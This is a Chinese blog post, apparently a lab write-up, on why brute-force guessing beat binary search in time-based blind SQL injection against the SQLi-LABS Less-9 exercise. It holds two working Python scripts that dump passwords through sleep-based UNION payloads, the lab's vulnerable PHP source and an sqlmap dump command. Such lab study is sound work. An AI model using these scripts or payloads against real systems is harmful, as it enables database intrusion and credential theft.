SQL 时间盲注应该使用二分查找吗?

最近在写 SQL 时间盲注的自动化注入脚本时发现了一个奇怪的现象:猜数据时,穷举法居然比二分法快得多,这是为什么?

时间盲注常常使用形如 if(condition, sleep(5), 0) 的 SQL 语句逐字符猜测数据,当猜测成功时触发 sleep 函数.通过测量一次网络请求所花费的时间是否过大,可以知道是否猜对了数据,因此适合用于不论查询是成功还是出错页面内容都没有变化的网站,算是一种边信道攻击.所以,可以猜想,二分法虽然减少了总的猜测次数,但猜测成功的次数却增加了,而一旦猜测成功就会触发 sleep 函数,这也许就是二分法比穷举法更慢的原因.

可以做实验验证.这里就用 SQLi-LABS 的第一道时间盲注题目 Less-9 来测试了.为了加快爆出数据的速度,我删掉了一些数据, users 表的内容是这样的:

以下是用于对比的两个脚本,分别采用穷举法和二分法,会输出运行耗时和执行查询的次数.为了方便起见,我跳过了爆表名,列名的步骤,直接爆破 password 列的数据,并且把 3 行数据拼接到一起输出:

'''
less9-bruteforce.py
'''
import requests
import time

url_part = '192.168.0.102/sqli-labs/Less-9'
interval = 2
start = 33
end = 127

url_dump = 'http://%s/?id=-1\' union select {inc}if( ord(mid( (select group_concat({column_name}) from {table_name}), {pos}, 1)) {op} {ord}, sleep(2.5), 1) ;--+' % url_part

req_count = 0
sleep_count = 0

def judge(url):
    global req_count
    global sleep_count

    start_time = time.time()
    r = requests.get(url)
    end_time = time.time()
    req_count += 1
    if end_time - start_time > interval:
        sleep_count += 1
        return True
    else:
        return False

def make_union(count):
    ret = ''
    for i in range(1,count):
        ret += (str(i) + ',')
    return ret

def dump(column_count, table_name, column_name):
    data = ''
    pos = 1
    inc = make_union(column_count)

    while True:
        for ord in range(start, end):
            url = url_dump.format(inc = inc, pos = pos, op = '=', ord = ord, table_name = table_name, column_name = column_name)
            if judge(url):
                data += chr(ord)
                pos += 1
                break
            elif (ord == 126):
                return data

def main():
    table_name = 'users'
    column_name = 'password'

    start_time = time.time()
    data = dump(3, table_name, column_name)
    end_time = time.time()
    print("[+]Data in column `%s`:\n   %s\n" % (column_name, data))
    print("Time used: %s sec" % (end_time - start_time))
    print("Request count: %d" % req_count)
    print("Sleep count: %d" % sleep_count)

main()
'''
less9-binsearch.py
'''
import requests
import time

url_part = '192.168.0.102/sqli-labs/Less-9'
interval = 2
start = 33
end = 127

url_dump = 'http://%s/?id=-1\' union select {inc}if( ord(mid( (select group_concat({column_name}) from {table_name}), {pos}, 1)) {op} {ord}, sleep(2.5), 1) ;--+' % url_part

req_count = 0
sleep_count = 0

def binary_search(url, start, end):
    gt = '>'
    lt = '<'
    eq = '='

    while start <= end:
        mid = (start + end) // 2
        if judge(url % (eq, mid)):
            return mid
        elif judge(url % (gt, mid)):
            start = mid + 1
        else:
            end = mid - 1
    return -1

def judge(url):
    global req_count
    global sleep_count

    start_time = time.time()
    r = requests.get(url)
    end_time = time.time()
    req_count += 1
    if end_time - start_time > interval:
        sleep_count += 1
        return True
    else:
        return False

def make_union(count):
    ret = ''
    for i in range(1,count):
        ret += (str(i) + ',')
    return ret

def dump_binsearch(column_count, table_name, column_name):
    data = ''
    pos = 1
    inc = make_union(column_count)

    while True:
        url = url_dump.format(inc = inc, pos = pos, op = '%s', ord = '%d', table_name = table_name, column_name = column_name)
        ord = binary_search(url, start, end)
        if ord > -1:
            data += chr(ord)
            pos += 1
            continue
        else:
            return data

def main():
    table_name = 'users'
    column_name = 'password'

    start_time = time.time()
    data = dump_binsearch(3, table_name, column_name)
    end_time = time.time()
    print("[+]Data in column `%s`:\n   %s\n" % (column_name, data))
    print("Time used: %s sec" % (end_time - start_time))
    print("Request count: %d" % req_count)
    print("Sleep count: %d" % sleep_count)

main()

运行截图如下:

运行结果验证了我的猜想.虽然二分法将总查询次数从 1596 次大幅减少到了 266 次,但查询成功(触发 sleep 函数)的次数却从 24 次上升到了 92 次.考虑到注入的 SQL 语句里设定的延时是 2.5 秒,二分法理所应当地应该比穷举法更慢.

当然,这是相当理想化的结果,毕竟我的 SQLi-LABS 环境是搭建在本地的,并不能说明穷举法优于二分法.在真实世界的注入中,仍然应该使用二分法.考虑到攻击目标可能采取的各种限制措施,有必要在每次发送网络请求前都加上一段延时,这种情况下二分法应该会比穷举法更快.(当然,就算不考虑速度,二分法能够减少总查询次数也已经很大的优势了,毕竟请求越少,被目标封掉的风险也许就越小)


有意思的是, SQLmap 跑这个 Less-9 却相当的快,花不了几秒钟就能把整张表的数据都给爆出来.它是如何做到的呢?一番观察后我找到了原因,相当的...算了这是 Less-9 的源代码自己看吧

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}

不知道是作者的疏忽还是有意为之,这 tm 就是个布尔注入啊查询失败时页面会多出一个元素,只是没有内容,对用户不可见而已

重新跑一遍 SQLmap: python sqlmap.py -u http://192.168.0.102/sqli-labs/Less-9/?id=1 -C password -T users -D security --dump -v 3 --flush-session --technique T --time-sec 3 这里我指定了注入方式为时间盲注,显示 payload, 并且把 sleep 的参数设为 3 秒(只能是整数).爆出数据总共花了 239 秒,和我自己写的二分法脚本的速度基本一致. Payload 也确实表明采用的是二分法:

(可以发现, SQLmap 的算法跟我的有一些细微的不同.对于每一位字符,它只会在疑似查到时做一次相等判断,不像我每轮循环都判断一次相等,这样应该可以进一步减少发送请求的数量.不过我按 SQLmap 的方式改写了脚本之后,发现在我的测试环境下,在查询速度方面并没有什么优势,这里就不多写了)

此外,你也许发现了,我的脚本用的 payload 仍然是联合查询那一套,所以在爆数据之前还得把列数给搞出来.而 SQLmap 的 payload 直接用了一个 AND 连接,不需要知道列数,用起来更方便些.

以上.

发表评论

电子邮件地址不会被公开。 必填项已用*标注